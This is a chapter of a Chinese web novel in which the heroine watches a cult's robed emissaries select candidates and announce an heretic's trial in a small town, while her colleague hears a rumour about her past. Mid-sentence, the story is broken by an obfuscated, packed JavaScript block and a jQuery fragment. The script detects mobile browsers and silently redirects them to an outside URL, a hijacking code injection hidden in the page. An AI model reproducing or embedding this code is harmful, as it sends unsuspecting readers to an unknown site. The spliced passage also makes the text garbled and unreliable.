【偷走?】
赵传欣惊讶不已。
那莎仿佛陷入噩梦,她小心翼翼地抱住自己膝头,喃喃:“那个人突然闯进我的卧室,将我打晕。再醒来时,我晕倒在这个小镇的街头,而那个人也不知所踪。”
为什么保育员要打晕那莎,将她带到这个小镇后?
保育员又去了哪里?
为什么保育员反而做的是……坏事?
无数的疑问在赵传欣脑海中盘旋。
【你……】
叩、叩。
长笙敲了敲通讯装置,赵传欣不自主停了下来。
“003,给她点空间。”
长笙轻声说:“那莎解答不了我们的疑惑。”
那莎的脑袋从膝盖抬起,露出哭兮兮的脸。
很难说清楚她的表情,恐惧、不安、游移、安心……
她抱住了床边的长笙,眼泪几乎濡湿了长笙的衣角。
“安德鲁,我好想你……”
那莎陷入沉睡后,长笙离开了房间。
酒馆一楼坐落着熙熙攘攘的酒客,调笑声、打趣声传到二楼时只剩下闷响。
长笙站在那莎房门前,低声问赵传欣:“保育局的档案上有什么关联信息吗?”
【我找找。】
赵传欣咬着手指,智脑的屏幕已经连接了保育局数据,上面许多信息因为权限不足无法查看。
细细搜寻了一遍后,赵传欣失望地说:【没有。】
在得知更多信息后,任务的谜团非但没有揭开,反而更加一团乱麻。
砰——!
酒馆的门被大力地推开。
新客人?
长笙下意识看向门口,接着怔然。
【笙姐,怎么了?】
大约七八个人走进了酒馆。他们身着戴着巨大兜帽的树纹暗袍,兜帽隐去他们的面容,远远一看只见暗袍上的树纹连成一片,就像一张巨大的蛛网。
酒馆的酒客们在看到他们的那一刻突然安静了下来,手里拿着酒却默契地举杯不饮。
“神子大人们——今年您们竟然这么早就来到本镇了?!”
杰克带着谄媚的笑容和轻快的步伐走到他们身侧,自然地为他们拉开椅背扶着他们坐下。
“神子们想喝些什么?杰克这就拿出最好的酒侍奉各位神子,当然——都是免费的!”
走廊上的长笙想起和松间雪对峙后遇到的那个树纹黑袍的路人。
原来他就是神子。
【笙姐,神子是什么?】
通讯装置中传来赵传欣好奇的声音。
长笙这才发现通讯装置一直开着。
她低声回答:“是尤克教的基层神职人员。”
想起刚刚在那莎房中翻阅的书籍,她补充道:“书上说,每年‘神诞日’前,神子会前往各处撒福。”
看着一楼的杰克对着这些黑袍人卑微又讨好的姿态,长笙声音一顿:
“但每个地区的派遣神子不会达到两人以上。”
杰克将美酒满满当当地堆到神子的长桌上,见神子们终于小酌,周围的酒客似乎也按捺不住了。
一个胆大些的酒客开了口:“尊敬的神子大人,为什么今年您们来到本镇的人比往年多?”
坐在长桌主位的黑袍人放下酒杯。
砰—
杯底和木质桌面轻碰出哼响,酒馆更静了。
苍凉而冷漠的声音不大,却传遍了整个酒馆。
“每年‘塔塔神’都会选中一个小镇,为众民撒福,并从中挑选最优秀的人,赐予他们……加入尤克教的机会。”
馆内响起窸窸窣窣的声音,大家听着这个消息躁动不已。
靠近门边的一个酒客语气中满是惶恐和渴望:“您是说真的吗?我们有机会加入尤克教?!”
黑袍人哼笑一声,兜帽下勾起的嘴角似慈悲又似戏谑:“只要你够优秀……当然可以。”
酒馆内更加躁动了,酒客们再也无法安静,欢呼声、交谈声不绝于耳。
“咳——”
黑袍人作势咳了下,酒客们的呐喊仿佛按下暂停键,他们转过头,看着神子的眼神带着微弱的孺慕。
“今晚十点,我们将在小镇广场找出神明选中的神子候选。”
黑袍人满意地巡视了一圈,发现他们的神情激动又期待。
“尊敬的神子大人,我们一定准时到达。”
“感谢塔塔神的恩赐!”
与热闹的一楼不同,二楼的一切静得可怕。
唯有长笙耳边的通讯装置持续发声。
【笙姐,你要去吗?】
长笙透过纱窗看见那莎熟睡的面容,呼吸间将被子拱得一起一伏。
“不,我需要守在那莎身边确保她的安全。”
黑袍人的声音再一次由下至上传来。
“在今夜,我们还将公开审判一名不信仰‘塔塔’神明的外乡异端。”
外乡、异端。
长笙的身体随着这句话顿了顿。
她看向一楼,黑袍人似乎只是顺便提到了这点,而周围的酒客也不甚在意这件事。
她神色凝重地低声说:“计划有变。”
赵传欣好奇:【怎么了?】
长笙沉沉看着一楼的黑袍人:“你守好那莎,我要去一趟。”
“我怀疑他们要审判的‘异端’……是松间雪。”
赵传欣听了这话陷入沉思。
长笙的推理不无道理。
在大部分上古文明中,“非我族类,其心必异”都是普遍规律。
保育员被排斥、被驱逐的事情时有发生。
松间雪刚刚与长笙决裂,尤克教就要审判异端,其中的巧合不得不让她们将其联系起来。
【笙姐要救拉斐尔……松先生吗?】
长笙摩挲自己的手指:“如果可以,我更希望合作共赢,而不是现在这样单打独斗。”
长笙将自己隐匿在人群中,随着人流而走。
她目视前方,看见最前方的黑袍人们被镇民拥簇着向前。
一路上小镇张灯结彩,两侧摆满了各类摊贩。
琳琅满目的首饰堆砌成山,美酒佳肴的浓香弥漫在镇间。
长笙在人流中看到了许多熟悉的面孔。
杰克、常来酒馆的酒客、饭馆的老板……还有更多见过但不认识的人。
他们脸上通通洋溢着喜悦和兴奋的笑容。
熟悉的人给长笙塞入了自己烙的饼。长笙刚想推拒,又被另一个打过招呼的妇人塞入一条手链。
长笙看着饼和手链发怔。
不知不觉长笙才发现,自己好像已经融入了这个小镇。
“树种!这一次我一定可以——!”
一声高亢的尖叫传入耳内,长笙顿了顿,朝那个方向瞥了一眼。
是珍妮夫人。
她牵着她的儿子出来了。
她那高大的儿子还在嘿嘿地傻笑,时不时因为笨拙壮硕不小心撞倒人。
“对不起、对不起,我儿子智力有问题……”
珍妮夫人露出无齿的笑容向路人道歉,在路人恐惧的目光下,用干瘦的手艰难扯住乱跑的汤姆。
“……”
长笙收回了视线。
杰克挤到了她的旁边,惊喜道:“夫人,您也来了!”
长笙看了一眼广场周围的摊贩,随口道:“大家都很期待今天吗?”
杰克兴奋不已地搓了搓手:“当然!‘神诞日’前后是镇上最热闹的日子,更何况今天尤克教的神子还会在这里选出候选神子!”
他左右瞥了一眼,又凑近长笙低声道:“夫人看中什么东西都可以跟杰克说,松先生走之前,为夫人将来的开销预备了不小的数目。”
他嘿嘿一笑:“松先生怕夫人生气,一直没让杰克说呢!”
长笙怔然。
“到底是谁在生气呢?”
她轻声问,也不知道在问谁。
“夫人——您——说——什么——”
杰克扯着嗓子大喊:“人太多了,杰克听不到——”
长笙摇了摇头。
“安——静——”
小镇广场中央的尤克教神子们齐声低语。
沸腾的广场霎时静默。
为首的神子走出来,他的目光掠过广场上的镇民,旁边的神子则恭敬递上一份牛皮记录卷。
“是小镇居
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964401|161216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民的名单……”
杰克小声跟她八卦:“这玩意只有镇长有,估计是他给的。”
他捂住头:“早知道前两天多送几瓶酒给镇长,说不定我的名字会靠前一些……”
长笙没有跟杰克攀谈,继续凝神观看。
“叫到名字的镇民请出列,我们将为大家逐一测试武力与智力天赋。”
黑袍人顿了顿,继续说道:“佼佼者,将有机会成为我们中的一员——”
镇民的欢呼声几乎将广场淹没。
酒馆内。
“赵小姐?”
那莎在床头摸着小猫,小心翼翼地抬起一只手摸着长笙给的通讯装置。
【怎么了吗?】
那莎语气中都是兴奋:“太神奇了!为什么这么小的东西,却能让人们相隔千里还能沟通呢?”
赵传欣“唔”了一下:【这个原理我不好解答呢,不过我的智脑或许可以说明。】
一阵奇异的、无感情的声音在那莎耳边响起,为她讲解通讯装置的原理。
赵传欣补充道:【保育局……就是我这边有一堵破墙,今天有维修人员上门修补,我要过去看看哦。】
那莎不自觉点头:“好的,赵小姐去吧。”
赵传欣不放心,又多说了一句:【你可以将智脑当成博学的老师,什么问题都可以问它。我先走了。】
那莎应了声好。
赵传欣走出办公厅,来到保育局的待客大厅。
不论多少次经过,看到这堵笙姐徒手打破的墙她都会为此震惊。
联邦政府内的墙都是特制的高密度金属墙,据说即使是前线的部分低端武器都无法破坏呢。
“笙姐究竟有多强啊……”
她喃喃。
“你好,这是损坏的墙吗?”
维修人员走过来问。
赵传欣赶紧回答:“是的!麻烦师傅修一下。”
师傅纳罕:“这么硬的墙怎么能破呢?”
赵传欣哈哈地干笑着:“年久失修、年久失修……”
维修师傅很快测量完破墙面积,指挥着建筑维护机器人建立破墙网络,并挑选材料修复。
他一边操作,一边“啧”了一声,开始跟赵传欣八卦了起来。
“你们保育局今年入职的员工来头不小啊……”
赵传欣一惊。
难道他也在怀疑松先生的身份?
但如果联邦知道这件事,单单身份审核松先生就过不去,更别说入职保育局了。
维修师傅还在继续八卦:“你不知道吧,你们保育局的001号保育员,就是那个知名歌手长笙!”
赵传欣怔住:“笙姐……怎么了吗?”
维修师傅神神秘秘地开口:“据说,上任保育局局长……就是被她杀的!”
“不可能!”
赵传欣下意识反驳:“上任局长是笙姐父亲,笙姐怎么可能杀了他?更何况杀人根本过不了联邦的入职身份审核。”
“嘘——”
维修师傅竖起食指朝她让她噤声。
“那如果,她杀人的时间……在九岁前呢?这可不会记录在档案!”
赵传欣呆了呆,刚想说九岁大的小孩怎么可能杀人,又在下一秒看到破墙。
如此强悍的实力……
她讷讷开口:“你……有什么证据?”
轰——
干雷炸开了小镇的夜,却没有半点雨降落。
那莎听着那个名叫“智脑”的东西讲述的知识,情不自禁入了迷。
仿佛进入了一个玄妙的梦境,她迷迷糊糊徜徉在未知的海洋,每游一下都觉得兴奋无比。
吱——呀——
寂静的酒馆被陌生人推开了门,打断了那莎的沉迷。
“!”
猫咪被异响叫醒,高亢地叫了起来。
那莎捂着通讯装置,小声说:“智脑先生,麻烦您暂停一下,好像有客人来了。”
【好的,随时为您服务。】
那莎放下心,走下了床。
还没等她打开自己的房门,那酒馆新来的客人却没出声,也没坐下。
哒、哒、哒。
那人上了楼梯。